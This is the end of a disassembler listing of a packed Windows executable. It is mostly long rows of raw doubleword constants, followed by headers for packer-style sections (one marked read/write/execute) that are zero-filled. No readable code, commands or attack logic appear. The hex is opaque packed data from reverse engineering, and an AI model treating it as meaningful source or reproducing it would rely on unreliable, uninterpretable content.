		dd 0F4A8DAEBh, 452A186Ch, 0B0E009E2h, 0C6B3A9B3h, 22F4C66Eh
		dd 6E12D8ADh, 0CBA93AB6h, 84F40492h, 0CA3C9E8Bh, 3C7DC0AFh
		dd 0D646AA5Bh, 83171E02h, 0CF13AACh, 5A6FDFABh,	19E552E9h
		dd 3E097BE2h, 0AA5FF3BFh, 0E868884Dh, 7ED9C8D1h, 0DC21E03Eh
		dd 1BC2DA0Fh, 83187A01h, 9CA59E95h, 0A0AA60DBh,	57B096D9h
		dd 5817890Ch, 92B3017Bh, 315F07BAh, 17895DA3h, 33E6C04Ah
		dd 1C0901BFh, 19C2E220h, 50A5AC60h, 6B272104h, 0B2B1245Dh
		dd 2300E36Bh, 0CF0A5DBh, 4B21AB8Bh, 0A3A90E31h,	4F25E71h
		dd 8B5E491Ah, 71AA511Fh, 0F4CEDE0Ch, 6616015Ah,	50D07642h
		dd 0CAECD2C1h, 995A08BEh, 75997877h, 732A7DECh,	48A3FBF8h
		dd 0D82E1416h, 75DD9AEEh, 0FD103049h, 0E84DA37h, 782C8798h
		dd 0D073FB5Fh, 6036D3D5h, 0C19FA36Bh, 0CE1B0491h, 0EBC3316h
		dd 0CD6330D1h, 0B1853549h, 0F3066001h, 0F81BC59h, 0EC1A3E3Ah
		dd 0DFD6FB23h, 0D420DC5h, 33EBF8A9h, 15A4F267h,	7FA4A3E4h
		dd 0B54A6EAAh, 5478D239h, 62328B10h, 43AFE4Dh, 0B067D1D8h
		dd 0E272BFAEh, 85DCEAE7h, 17A2798Dh, 17230811h,	570EAB98h
		dd 50BACDC4h, 0F73F336Ah, 5833D675h, 6E726A5Eh,	0C2D86A34h
		dd 3A396275h, 5FA4BF2Bh, 319A1496h, 0EE45901Bh,	83A941E7h
		dd 1A69030Bh, 4AD0D8D4h, 4E750E36h, 0B6854ADBh,	14648C15h
		dd 4C8C2976h, 987205B3h, 20931248h, 0C3484DAh, 0A751CA82h
		dd 7A4DE312h, 33A9EFA2h, 0CA72790Bh, 392D9568h,	0B64467D5h
		dd 8D447A40h, 790E9D01h, 0A00E9AAAh, 487A0BBFh,	7E08BF84h
		dd 0C6386219h, 2F1037C9h, 471C0337h, 589132C8h,	0BB0F40FEh
		dd 9548F61h, 5F1A9031h,	41CFEACFh, 0ED41CDBFh, 651154A9h
		dd 6AD339B0h, 15002C5Ch, 0E98C6AB2h, 0B8BB3290h, 80DC6332h
		dd 7D5EAB25h, 0DA14D19Eh, 0A89737B0h, 2785489Ch, 151C835Bh
		dd 0F5920B65h, 20EDBD72h, 9B3D1B32h, 0DA124626h, 0E6E13506h
		dd 55B530BBh, 0D8078AC2h, 2DCEB249h, 31CA9272h,	0E66991B3h
		dd 219631F5h, 0B8F3F81Ch, 6A4C9F05h, 18BD555Eh,	0EAD2BACAh
		dd 0C7FF1B2Fh, 0C13A145Ah, 0AE5A93EAh, 5880CC7Dh, 0C31C3D22h
		dd 0F85365C6h, 0A06040D7h, 378B5FF1h, 0E5AA2576h, 86DEDE7Dh
		dd 8618F8EFh, 73D25A81h, 407C48F6h, 0A826BD79h,	0C9AAEFC1h
		dd 2D8CF734h, 1F1A74C2h, 0C20E94F1h, 0FD830F6Ch, 0A5D58DB0h
		dd 5C60F60Fh, 0A743C967h, 5086EB7h, 0CAA829A2h,	7270F051h
		dd 5CC03B80h, 70FEA84Bh, 0E77CD658h, 0E5A38810h, 97E0B383h
		dd 9C908E2Ah, 0E2AC5A1Ch, 0CFEB7FA5h, 0B337F0AFh, 0D58AC688h
		dd 8E6AE6CAh, 0EEF22375h, 8494453Fh, 1D2A7FB2h,	61810604h
		dd 0E1C536AFh, 48BD2E14h, 5446A296h, 0C583A9D6h, 0D0668E20h
		dd 387A5281h, 0F4043A41h, 3D20C375h, 2347F05Dh,	9483515Ah
		dd 7D0BE5E7h, 2E8C76E2h, 9913A3C1h, 5406F2AFh, 0AA65B72Ah
		dd 811B1DEh, 0CEA604Fh,	5C19C4CEh, 72F343C1h, 393B447Ch
		dd 0B784C403h, 0E4B3DB99h, 7805F7CAh, 0D24EE4D3h, 0E57E342Ah
		dd 2F8A11D5h, 0A8BD4F4Dh, 4B7B2476h, 69E5FA60h,	0B18C678Ah
		dd 229DE5CCh, 0AB4C134Bh, 40E30D24h, 820572h, 2832B8B7h
		dd 0D5B6AFC4h, 162D15Fh, 0AE55DDDAh, 95CA7389h,	81645CB6h
		dd 962D25FDh, 0A881F394h, 52983681h, 0AAE92BB6h, 0AD6E00D8h
		dd 2F1F2439h, 8545C97Eh, 0C14953A8h, 72A488B0h,	7CA39A53h
		dd 0BBE2C347h, 0E6EBFAC0h, 226B22DCh, 99B6C1C6h, 94B6F66Dh
		dd 18AD255Ch, 0C19E42FEh, 2FE23C2Eh, 8A79614Eh,	0AB56CA86h
		dd 87F113BAh, 8B4274h, 0A8F85E74h, 861F40A3h, 76BCA8D6h
		dd 72C4C84h, 0BACB301Ah, 7640086h, 94B345BBh, 1CCD3B95h
		dd 317DAD44h, 7AD46B1Eh, 69F7F71Dh, 0B350B3E4h,	0E49C656Ch
		dd 0A16C7201h, 0F3531981h, 0BA8296DEh, 38643590h, 3BBD62ABh
		dd 37B9262Fh, 0DEBC666Ch, 0DA86C7ABh, 5E2979h, 484CF722h
		dd 0C1000BBEh, 770070C5h, 0CAB64FD7h, 82F8BAA5h, 617B3EC3h
		dd 51A87878h, 14DF6BC5h, 0A13621DBh, 9DB163DFh,	17E4F6A0h
		dd 591C5065h, 4D9AA688h, 0EA97FC23h, 6B391574h,	0C4A2CB65h
		dd 0FD29721Ah, 124AC787h, 3A1264DCh, 439B88C6h,	9FDC36A7h
		dd 15033B83h, 3309AA34h, 0E7981FE7h, 21881529h,	87DE317Ch
		dd 0F26F904Dh, 7707FF3Eh, 8A19C0CEh, 4D79788Ch,	4FB73086h
		dd 0ADEF008Eh, 6DFB8599h
		dd 0DC046D50h, 0D2608F0Dh, 0A4596983h, 0FF471F4Ch, 6105ADFEh
		dd 30583FCDh, 5CCBE6A0h, 57D41B4Dh, 0E1A66D73h,	2179FEC8h
		dd 8F33A8B5h, 5A7D8462h, 74926251h, 6DC45C49h, 0A0E792B2h
		dd 407CEC8h, 0A5DE9FEEh, 0B287CB42h, 0AEBCD97Dh, 9B23346Dh
		dd 256BAE7Fh, 0B84382F0h, 0AE126D63h, 9753B97Ah, 8394852Ah
		dd 9A478EB0h, 97141CACh, 724939D3h, 34AA855Eh, 0A344F4B7h
		dd 88DD24ADh, 746C59F2h, 0C0226AABh, 0D626C241h, 0CC88F23Bh
		dd 0EA5CD4h, 2817CA87h,	49D027Ah, 0C376FC94h, 1CA7F66h
		dd 0C6CA4ACh, 0D30344CAh, 0B3E1A1F0h, 54B08BEh,	1BA69039h
		dd 0BA3AA863h, 99205080h, 0E2256EC4h, 43BE3541h, 2D9300F9h
		dd 97EEBD52h, 0F7CA45ABh, 4126D867h, 0DC2FBD93h, 69841C8Eh
		dd 0EB208868h, 945AA813h, 877D7EBFh, 944DFBF9h,	214C7DD3h
		dd 15282F7Dh, 5F8DC318h, 44A5FE1Dh, 3505475Eh, 61AAEA49h
		dd 910EDC95h, 36964F25h, 0BB6A03BBh, 416CF9BDh,	0CC7E0D6Fh
		dd 44D00FBAh, 0E8043E11h, 0BA057E1h, 3A748984h,	0AF140105h
		dd 6C6C6462h, 1921CA44h, 0EE556186h, 311FC0BEh,	8D6C7A1Ch
		dd 167FF04Bh, 0B4DA420Bh, 8DDDEE6Ah, 0AA82135Ah, 5373686Bh
		dd 7A438E15h, 0E2282E1Fh, 8C77E3F2h, 8E68654Ah,	118CFC05h
		dd 5613D9A3h, 445D0E6Bh, 64EA2F63h, 0F9BE29E7h,	2507C048h
		dd 594248ABh, 8E909487h, 3B11B5A6h, 3EF42762h, 43ABCFB1h
		dd 0E4326146h, 3055F42Bh, 9C6A8344h, 3CE6720Bh,	0E61A7828h
		dd 17516B91h, 32B521BCh, 0E5180BCCh, 0FB98A050h, 0FE0AEBA4h
		dd 0B82CD08Ch, 0E39BC2A4h, 97EE753Fh, 0FC7097CFh, 78A1C5D6h
		dd 0ACC87D82h, 0CB562659h, 339613F6h, 879E9C96h, 9A59A2C6h
		dd 0EAF3F095h, 555FB941h, 0F960FCD5h, 0A53B7923h, 0B805F79Fh
		dd 45B64630h, 6D5374EEh, 8AD66077h, 32DE0B14h, 0BFF6A5A3h
		dd 0CCAC994Dh, 0B240CA29h, 57B0E27Fh, 0E8269639h, 832F94C8h
		dd 88479EBh, 60C9DEB1h,	8145617Ch, 4148EB90h, 60DB38CFh
		dd 6364514Ch, 8F93FDAEh, 34298121h, 0A11FFEE7h,	5D2B6C39h
		dd 54F3FBD8h, 388C5BF8h, 4C6E717Fh, 32E3A8C7h, 492AF5h
		dd 266AAC20h, 13F4FCABh, 238185D2h, 3BE6B6h, 113h dup(0)
_nsp1		ends

; Section 3. (virtual address 000F3000)
; Virtual size			: 00000EF3 (   3827.)
; Section size in file		: 00000EF3 (   3827.)
; Offset to raw	data for section: 000F3000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_nsp2		segment	para public 'CODE' use32
		assume cs:_nsp2
		;org 4F3000h
		assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing
		dd 3BCh	dup(0)
		db 3 dup(0)
_nsp2		ends

; Section 4. (virtual address 000F4000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 000F4000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 4F4000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start